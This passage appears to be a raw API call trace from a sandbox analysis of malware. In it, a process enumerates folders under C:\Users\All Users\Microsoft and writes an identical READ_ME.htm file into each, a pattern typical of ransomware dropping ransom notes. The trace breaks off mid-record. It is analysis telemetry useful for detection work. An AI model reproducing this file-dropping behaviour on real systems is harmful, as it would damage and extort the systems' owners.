GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0141.918] SetErrorMode (uMode=0x1) returned 0x0 [0141.918] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.918] GetFileType (hFile=0x1d0) returned 0x1 [0141.918] SetErrorMode (uMode=0x0) returned 0x1 [0141.918] GetFileType (hFile=0x1d0) returned 0x1 [0141.919] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d9550*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28d9550*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0141.920] CloseHandle (hObject=0x1d0) returned 1 [0141.920] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\READ_ME.htm", lpFilePart=0x0) returned 0x2c [0141.920] SetErrorMode (uMode=0x1) returned 0x0 [0141.920] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\drm\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.921] GetFileType (hFile=0x1d0) returned 0x1 [0141.921] SetErrorMode (uMode=0x0) returned 0x1 [0141.921] GetFileType (hFile=0x1d0) returned 0x1 [0141.921] WriteFile (in: hFile=0x1d0, lpBuffer=0x28ddad0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28ddad0*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.922] CloseHandle (hObject=0x1d0) returned 1 [0141.922] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome", lpFilePart=0x0) returned 0x22 [0141.922] SetErrorMode (uMode=0x1) returned 0x0 [0141.923] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*" (normalized: "c:\\users\\all users\\microsoft\\ehome\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.923] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.923] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0141.923] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.923] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.924] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.924] SetErrorMode (uMode=0x0) returned 0x1 [0141.924] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome", lpFilePart=0x0) returned 0x22 [0141.924] SetErrorMode (uMode=0x1) returned 0x0 [0141.924] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\*" (normalized: "c:\\users\\all users\\microsoft\\ehome\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.925] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.925] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0141.925] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.925] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.926] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.926] SetErrorMode (uMode=0x0) returned 0x1 [0141.926] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs", lpFilePart=0x0) returned 0x27 [0141.926] SetErrorMode (uMode=0x1) returned 0x0 [0141.926] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.927] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.927] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.927] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.927] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.927] SetErrorMode (uMode=0x0) returned 0x1 [0141.928] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs", lpFilePart=0x0) returned 0x27 [0141.928] SetErrorMode (uMode=0x1) returned 0x0 [0141.928] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.928] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.929] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.929] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.929] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.929] SetErrorMode (uMode=0x0) returned 0x1 [0141.929] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0141.930] SetErrorMode (uMode=0x1) returned 0x0 [0141.930] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\logs\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.930] GetFileType (hFile=0x1d0) returned 0x1 [0141.930] SetErrorMode (uMode=0x0) returned 0x1 [0141.930] GetFileType (hFile=0x1d0) returned 0x1 [0141.930] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e5968*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28e5968*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0141.932] CloseHandle (hObject=0x1d0) returned 1 [0141.932] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\eHome\\READ_ME.htm", lpFilePart=0x0) returned 0x2e [0141.933] SetErrorMode (uMode=0x1) returned 0x0 [0141.933] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\eHome\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\ehome\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.933] GetFileType (hFile=0x1d0) returned 0x1 [0141.933] SetErrorMode (uMode=0x0) returned 0x1 [0141.933] GetFileType (hFile=0x1d0) returned 0x1 [0141.933] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e9ee8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28e9ee8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.935] CloseHandle (hObject=0x1d0) returned 1 [0141.935] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x28 [0141.936] SetErrorMode (uMode=0x1) returned 0x0 [0141.936] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.936] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.937] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0141.937] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0141.937] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.937] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.937] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.938] SetErrorMode (uMode=0x0) returned 0x1 [0141.938] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x28 [0141.938] SetErrorMode (uMode=0x1) returned 0x0 [0141.938] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\*" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.939] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.939] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0141.939] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0141.939] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.939] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f959020, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f959020, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f959020, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.939] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.939] SetErrorMode (uMode=0x0) returned 0x1 [0141.940] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\READ_ME.htm", lpFilePart=0x0) returned 0x34 [0141.940] SetErrorMode (uMode=0x1) returned 0x0 [0141.940] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\identitycrl\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.940] GetFileType (hFile=0x1d0) returned 0x1 [0141.940] SetErrorMode (uMode=0x0) returned 0x1 [0141.941] GetFileType (hFile=0x1d0) returned 0x1 [0141.941] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f0358*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28f0358*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.943] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x29 [0141.943] SetErrorMode (uMode=0x1) returned 0x0 [0141.943] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Media Player\\*" (normalized: "c:\\users\\all users\\microsoft\\media player\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4f97f180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f97f180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, 